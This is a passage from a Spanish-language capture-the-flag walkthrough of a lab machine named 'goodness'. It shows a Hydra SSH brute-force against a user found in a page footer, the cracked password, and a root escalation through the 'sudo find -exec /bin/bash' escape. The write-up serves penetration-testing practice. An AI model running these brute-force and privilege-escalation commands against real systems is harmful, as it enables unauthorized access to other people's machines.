Veremos que hemos encontrado un archivo llamado /agora y si entramos dentro del mismo veremos otra pagina web, si inspeccionamos el codigo veremos lo siguiente:
URL = http://<IP>/agora
<!-- Mira bien la pagina -->
Si miramos bien la pagina, veremos que en el footer pone lo siguiente:
Creado por: god
Podremos ver lo que puede ser un usuario llamado god por lo que vamos a realizar un poco de fuerza bruta con dicho usuario de la siguiente forma.
Escalate user god
Hydra
hydra -l god -P <WORDLIST> ssh://<IP> -t 64 -I
Info:
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-05-03 15:27:14
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 64 tasks per 1 server, overall 64 tasks, 14344399 login tries (l:1/p:14344399), ~224132 tries per task
[DATA] attacking ssh://192.168.5.217:22/
[22][ssh] host: 192.168.5.217 login: god password: love
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 17 final worker threads did not complete until end.
[ERROR] 17 targets did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-05-03 15:27:54
Veremos que hemos encontrado las credenciales de dicho usuario, por lo que nos vamos a conectar por SSH.
ssh god@<IP>
Metemos como contraseña love y veremos que estamos dentro, por lo que leeremos la flag del usuario god.
user.txt
FLAG{user_goodness_flag}
Escalate Privileges
Si hacemos sudo -l veremos lo siguiente:
Matching Defaults entries for god on goodness:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User god may run the following commands on goodness:
(ALL : ALL) ALL
(ALL : ALL) NOPASSWD: /usr/bin/find
Veremos que podemos ejecutar find como el usuario root, pero tambien tendremos directamente todos los privilegios de root, aunque si lo hacemos por el binario find seria de la siguiente forma:
sudo find . -exec /bin/bash \; -quit
Info:
root@goodness:/home/god# whoami
root
Veremos que seremos root, por lo que leeremos la flag del usuario root.